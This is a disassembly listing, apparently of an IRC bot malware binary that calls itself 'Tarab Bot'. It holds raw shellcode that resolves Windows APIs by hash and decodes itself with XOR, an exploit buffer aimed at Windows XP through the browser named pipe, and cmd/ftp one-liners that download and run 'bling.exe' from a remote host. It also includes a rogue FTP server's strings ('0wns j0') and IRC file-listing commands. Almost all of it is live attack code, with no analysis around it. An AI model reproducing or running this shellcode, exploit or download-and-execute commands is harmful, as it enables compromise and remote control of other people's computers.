XREF: sub_403E73+44o dd 800000D4h, 2 dup(0) unk_427770 db 81h ; ; DATA XREF: sub_403F52+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_4277C0 db 41h ; DATA XREF: sub_403FF0+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_427808 proc near ; DATA XREF: .data:004042CAo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_427904 push dword ptr [esi] push 63D61209h call sub_42791A mov [esi+8], eax call sub_4278CD push dword ptr [esi+4] push 0CA2BD06Bh call sub_42791A mov [esi+0Ch], eax call sub_42787F push dword ptr [esi+4] push 4C0297FAh call sub_42791A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_427808 endp ; =============== S U B R O U T I N E ======================================= sub_42787F proc near ; CODE XREF: sub_427808+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4278A8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_42787F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4278A8 proc near ; CODE XREF: sub_42787F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4278B7: ; CODE XREF: sub_4278A8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4278C4 inc ebx jmp short loc_4278B7 ; --------------------------------------------------------------------------- loc_4278C4: ; CODE XREF: sub_4278A8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4278A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4278CD proc near ; CODE XREF: sub_427808+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4278E5: ; CODE XREF: sub_4278CD+1Ej cmp [ecx], ebx jz short loc_4278ED mov ecx, [ecx] jmp short loc_4278E5 ; --------------------------------------------------------------------------- loc_4278ED: ; CODE XREF: sub_4278CD+1Aj mov edx, edi loc_4278EF: ; CODE XREF: sub_4278CD+2Aj cmp [edx+4], ebx jz short loc_4278F9 mov edx, [edx+4] jmp short loc_4278EF ; --------------------------------------------------------------------------- loc_4278F9: ; CODE XREF: sub_4278CD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4278CD endp ; =============== S U B R O U T I N E ======================================= sub_427904 proc near ; CODE XREF: sub_427808+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_427904 endp ; =============== S U B R O U T I N E ======================================= sub_42791A proc near ; CODE XREF: sub_427808+16p ; sub_427808+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_427930: ; CODE XREF: sub_42791A+33j jecxz short loc_42796A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_42793D: ; CODE XREF: sub_42791A+2Dj lodsb cmp al, ah jz short loc_427949 ror edi, 0Dh add edi, eax jmp short loc_42793D ; --------------------------------------------------------------------------- loc_427949: ; CODE XREF: sub_42791A+26j cmp edi, [esp+20h+arg_0] jnz short loc_427930 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_42796A: ; CODE XREF: sub_42791A:loc_427930j ; sub_42791A:loc_42796Aj jmp short loc_42796A sub_42791A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_427970 proc near ; DATA XREF: .data:0040427Ao arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4279C2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_42798D: ; CODE XREF: sub_427970+38j jecxz short loc_4279BD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_427998: ; CODE XREF: sub_427970+32j lodsb test al, al jz short loc_4279A4 ror edx, 0Dh add edx, eax jmp short loc_427998 ; --------------------------------------------------------------------------- loc_4279A4: ; CODE XREF: sub_427970+2Bj cmp edx, [esp+arg_0] jnz short loc_42798D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4279BD: ; CODE XREF: sub_427970:loc_42798Dj mov [esp+arg_0], ebx retn sub_427970 endp ; =============== S U B R O U T I N E ======================================= sub_4279C2 proc near ; CODE XREF: sub_427970+7p ; FUNCTION CHUNK AT 004279FA SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4279DB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4279E6 ; --------------------------------------------------------------------------- loc_4279DB: ; CODE XREF: sub_4279C2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4279E6: ; CODE XREF: sub_4279C2+14j pop edi xor esi, esi pusha push esi jmp short loc_4279FA sub_4279C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4279ED proc near ; CODE XREF: sub_4279C2:loc_4279FAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4279ED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C2 loc_4279FA: ; CODE XREF: sub_4279C2+29j call sub_4279ED loc_4279FF: ; DATA XREF: sub_4039FE+1Bo ; sub_40EC43+7CDo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_4279C2 ; --------------------------------------------------------------------------- db 3 dup(0) dword_427A04 dd 60h ; DATA XREF: sub_403A59+320o dword_427A08 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A59+2F5o dword_427A14 dd 30h ; DATA XREF: sub_403A59+2CAo ; .data:0042ED60o dword_427A18 dd 0A1h ; DATA XREF: sub_403A59+29Fo dword_427A1C dd 3 ; DATA XREF: sub_403A59+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A59+153o align 4 loc_427A28: ; DATA XREF: sub_403A59+E8o jmp short near ptr dword_427A30 ; --------------------------------------------------------------------------- align 10h dword_427A30 dd 2 dup(0) ; CODE XREF: .data:loc_427A28j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: .data:0040429Fo ; sub_404DFA+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 10h dword_427AB0 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_404904+2A6o ; --------------------------------------------------------------------------- loc_427ABC: ; CODE XREF: .data:00427AC6j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_427ABC inc edi jz short loc_427B03 and eax, 952CE753h inc esp jle short loc_427B2B push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_427B03: ; CODE XREF: .data:00427AC9j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_427B62+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_427B28: ; CODE XREF: .data:00427B55j xor [esi-25h], bl loc_427B2B: ; CODE XREF: .data:00427AD1j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_427B44: ; CODE XREF: .data:00427B77j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_427B28 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_427B62: ; CODE XREF: .data:00427B09j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_427BEE jo short loc_427B44 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_427B85+1 add bl, [edi] loc_427B85: ; CODE XREF: .data:00427B81j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_427B9A+2 cmp ch, bh dec edx loc_427B9A: ; CODE XREF: .data:00427B95j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_427BEE: ; CODE XREF: .data:00427B75j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_427C74 sub al, 0BCh jmp near ptr 54447FE2h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_427C10 dd 0EFFFC481h, 44FFFFh, 427C5Ch ; DATA XREF: sub_404904+28Do dword_427C1C dd 42Ah ; DATA XREF: sub_404904+236r dword_427C20 dd 3E8h ; DATA XREF: sub_404904+2B1r dword_427C24 dd 258h ; DATA XREF: sub_404904+283r byte_427C28 db 0 ; DATA XREF: sub_404904+1E8r ; sub_404904+2BFr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_427C40 dd 20804h ; DATA XREF: sub_404808r ; sub_404904+2D8o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:00427C2Co align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_427C74: ; CODE XREF: .data:00427BF8j push eax xor al, 29h loc_427C77: ; DATA XREF: sub_404904+20Ao add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_427C80 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_404904+147o dword_427C94 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_404904+D7o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_404904+7Ao align 4 a_: ; DATA XREF: sub_404904+10o ; sub_4061E4+24Co unicode 0, <.>,0 dword_427CC0 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: .data:00404F9Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 8 loc_428ED8: ; DATA XREF: .data:004051CDo add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_428EF6: ; CODE XREF: .data:00428F46j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_428F4D ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_428EF6 inc edx add [eax-52h], esi inc edx loc_428F4D: ; CODE XREF: .data:00428F3Dj mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_428F60: ; CODE XREF: .data:00428F67j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_428F60 ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_428FB1 lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_428FBD+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_428FB1: ; CODE XREF: .data:00428F79j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_428FBD: ; CODE XREF: .data:00428F8Aj db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_428FCB+2 cmc lodsb loc_428FCB: ; CODE XREF: .data:00428FC7j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h db 0BCh, 5 word_429042 dw 255Fh ; DATA XREF: .data:0042768Do dd 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h, 70B8A2E5h dd 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h, 4D501B5Dh dd 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h, 0F3CB6666h dd 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h, 0FBCB255Fh dd 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_4290A4 dw 7A69h ; DATA XREF: sub_404FF8+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_404FF8+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 unk_429114 db 2 ; DATA XREF: .data:0040521Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405285+5B1o aQuit db 'QUIT',0 ; DATA XREF: sub_405285+59Do ; sub_40EC43+4FCo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_405285+590o align 10h unk_429190 db 3 ; DATA XREF: sub_405285+545o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '»» %s, port:%d now executing %s on remote Tarab Bot.',0 align 10h a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405285+526o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_405285+4FAo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_405285+4E2o align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405285+4D2o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405285+4C1o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405285+48Eo align 10h aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405285+44Ao db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_405285+411o align 10h a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405285+3E3o align 4 aList db 'LIST',0 ; DATA XREF: sub_405285+3D0o align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_405285+395o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_405285+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405285+372o aI: ; DATA XREF: sub_405285+35Eo unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405285+337o aA: ; DATA XREF: sub_405285+323o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_405285+30Co ; sub_405285+347o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405285+2FCo align 4 off_42933C dd offset dword_445750 ; DATA XREF: sub_405285+2E8o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405285+2D8o align 4 aRest db 'REST',0 ; DATA XREF: sub_405285+2C4o align 4 a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_405285+2B4o align 4 aSyst db 'SYST',0 ; DATA XREF: sub_405285+2A0o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405285+290o align 4 aPass db 'PASS',0 ; DATA XREF: sub_405285+27Co align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405285+26Co align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_405285+257o ; .data:0042EB78o align 4 aSS db '%s %s',0 ; DATA XREF: sub_405285+246o align 4 a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405285+1C8o align 4 aRb db 'rb',0 ; DATA XREF: sub_4058E9+24o ; sub_406A71+12Eo ... align 4 unk_4293D8 db 2 ; DATA XREF: sub_405983+3D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_42941C db 0Dh,0Ah,0 ; DATA XREF: sub_405983+2BEo align 10h asc_429420: ; DATA XREF: sub_405983+282o ; sub_40EC43+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405983+258o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405DB9+F0o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405DB9+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405DB9+97o ; sub_40B6ED+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405DB9+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405DB9:loc_405E24o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405DB9+64o align 8 unk_429648 db 2 ; DATA XREF: sub_405F35+27Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_429690 db 2 ; DATA XREF: sub_405F35+20Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_4296D0: ; DATA XREF: sub_405F35+156o unicode 0, <*>,0 asc_4296D4: ; DATA XREF: sub_405F35+FAo ; sub_4061E4+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_405F35+E9o ; sub_4061E4+4CFo ... align 10h aS_3 db '%s',0 ; DATA XREF: sub_405F35+39o ; sub_40B1BC+4Co ... align 4 aS_4 db '\%s',0 ; DATA XREF: sub_405F35+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+64Do align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4061E4+61Do align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+58Eo align 8 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4061E4+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4061E4:loc_406707o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4061E4+51Co align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4061E4+476o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 